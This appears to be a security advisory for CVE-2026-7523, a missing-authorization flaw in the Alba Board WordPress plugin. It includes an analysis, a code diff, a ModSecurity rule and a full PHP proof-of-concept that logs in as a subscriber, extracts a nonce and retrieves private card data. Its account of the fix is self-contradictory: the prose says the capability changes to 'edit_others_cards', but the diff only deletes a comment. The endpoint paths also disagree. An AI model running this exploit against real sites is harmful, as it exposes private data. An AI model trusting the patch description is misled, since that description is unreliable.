Atomic Edge analysis of CVE-2026-7523: The Alba Board plugin for WordPress up to version 2.1.3 contains a missing authorization vulnerability in its REST API endpoint. This allows authenticated attackers with subscriber-level access or higher to view arbitrary private alba_card post data. The vulnerability has a CVSS score of 4.3 and is classified under CWE-862 (Missing Authorization).
The root cause is in the file alba-board/includes/rest-api.php at line 26. The function alba_board_rest_permissions_check performs a capability check using current_user_can( ‘edit_cards’ ). The vulnerable version 2.1.3 uses the capability ‘edit_cards’. The check is insufficient because any authenticated user, regardless of role, can access the REST endpoint if they meet this capability requirement. Subscriber-level users are assigned this capability by default, allowing them to access private card data. The fix changes the capability to ‘edit_others_cards’, a higher privilege level that only administrators and editors possess.
An attacker can exploit this vulnerability by sending a GET or POST request to the WordPress REST API endpoint. The specific endpoint is registered under the plugin’s namespace, typically /wp-json/alba-board/v1/cards or similar. The attacker needs to include a card_id parameter to specify which card to retrieve. An authenticated session with subscriber-level privileges is sufficient. The attacker can enumerate card IDs and retrieve private data including title, description, assignee, due date, tags, and comments from any alba_card post. The request requires no additional nonce or authorization validation beyond the failed capability check.
The patch modifies line 26 of rest-api.php from current_user_can( ‘edit_cards’ ) to current_user_can( ‘edit_others_cards’ ). The commented line ‘// STRICT CAPABILITY GATE: Enforced across all contexts’ was removed. Before the patch, any authenticated user with the ‘edit_cards’ capability could access the endpoint. After the patch, only users with the ‘edit_others_cards’ capability, which is restricted to administrators and editors, can access it. This ensures that subscriber-level users cannot access private card data.
Successful exploitation leads to sensitive information disclosure. An attacker can read the full contents of any private alba_card post, including confidential project details, task assignments, deadlines, and internal comments. This is a confidentiality breach that exposes organizational data managed through the Alba Board plugin. The attacker cannot modify or delete data, only view it. The impact is limited to information disclosure without the ability to escalate privileges or execute remote code.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/alba-board/alba-board.php
+++ b/alba-board/alba-board.php
@@ -3,7 +3,7 @@
Plugin Name: Alba Board
Plugin URI: https://www.albaboard.com
Description: Custom Kanban system for WordPress with boards, lists, cards, and dynamic interactions. Extendable via add-ons.
-Version: 2.1.3
+Version: 2.1.4
Author: alejo30
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html
--- a/alba-board/includes/rest-api.php
+++ b/alba-board/includes/rest-api.php
@@ -23,7 +23,6 @@
// Security Check: Ensure only allowed users can query the API
function alba_board_rest_permissions_check( $request ) {
- // STRICT CAPABILITY GATE: Enforced across all contexts
return current_user_can( 'edit_cards' );
}
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-7523
# Blocks unauthenticated/subscriber access to Alba Board private card data
# Targets REST API endpoint for card retrieval
SecRule REQUEST_URI "@rx ^/wp-json/alba-board/v1/card/[0-9]+$"
"id:20267523,phase:1,deny,status:403,chain,msg:'CVE-2026-7523: Alba Board private card access attempt',severity:'CRITICAL',tag:'CVE-2026-7523'"
SecRule REQUEST_METHOD "@streq GET" "chain"
SecRule ARGS:card_id "@rx ^[0-9]+$" "chain"
SecRule &ARGS:card_id "@ge 1"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7523 - Alba Board <= 2.1.3 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Disclosure via 'card_id' Parameter
// Configuration - Set these values before running
$target_url = 'http://example.com'; // Target WordPress site URL
$username = 'subscriber_user'; // Valid subscriber-level username
$password = 'subscriber_password'; // Subscriber user password
$card_id = 1; // Card ID to retrieve
// Initialize cURL session
$ch = curl_init();
// Step 1: Authenticate and get WordPress cookies
$login_data = array(
'log' => $username,
'pwd' => $password,
'remember' => true
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Login cURL error: ' . curl_error($ch) . "n";
exit(1);
}
// Step 2: Retrieve nonce from a page containing [alba_board] shortcode
// First, find a page with the shortcode (commonly homepage or a specific page)
curl_setopt($ch, CURLOPT_URL, $target_url . '/');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$page_content = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Page request cURL error: ' . curl_error($ch) . "n";
exit(1);
}
// Extract nonce from JavaScript object (typical pattern: 'alba_board_nonce' => '...')
preg_match('/"alba_board_nonce":"([a-f0-9]+)"/', $page_content, $matches);
if (empty($matches[1])) {
// Try alternative patterns for nonce extraction
preg_match('/alba_board_nonce.*?"([a-f0-9]+)"/', $page_content, $matches);
}
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
echo "Warning: Could not extract nonce. The page may not contain the shortcode.n";
echo "Attempting direct API call without nonce...n";
}
// Step 3: Exploit the vulnerability - Access private card data via REST API
$api_url = $target_url . '/wp-json/alba-board/v1/card/' . $card_id;
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
// Add nonce if found
if (!empty($nonce)) {
$headers = array(
'X-WP-Nonce: ' . $nonce
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
$api_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_errno($ch)) {
echo 'API request cURL error: ' . curl_error($ch) . "n";
exit(1);
}
// Split headers and body
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$response_body = substr($api_response, $header_size);
// Display results
echo "HTTP Response Code: " . $http_code . "nn";
echo "Response Body:n";
echo $response_body . "nn";
if ($http_code == 200) {
echo "[SUCCESS] Vulnerability exploited! Private card data retrieved.n";
$decoded = json_decode($response_body, true);
if ($decoded) {
echo "nDecoded Data:n";
echo "Title: " . (isset($decoded['title']) ? $decoded['title'] : 'N/A') . "n";
echo "Description: " . (isset($decoded['description']) ? substr($decoded['description'], 0, 200) : 'N/A') . "n";
echo "Assignee: " . (isset($decoded['assignee']) ? $decoded['assignee'] : 'N/A') . "n";
echo "Due Date: " . (isset($decoded['due_date']) ? $decoded['due_date'] : 'N/A') . "n";
}
} elseif ($http_code == 403 || $http_code == 401) {
echo "[BLOCKED] The site may be patched or has additional access controls.n";
} else {
echo "[UNKNOWN] Unexpected response. Check target configuration.n";
}
// Clean up
curl_close($ch);
unlink('/tmp/cookies.txt');
?>
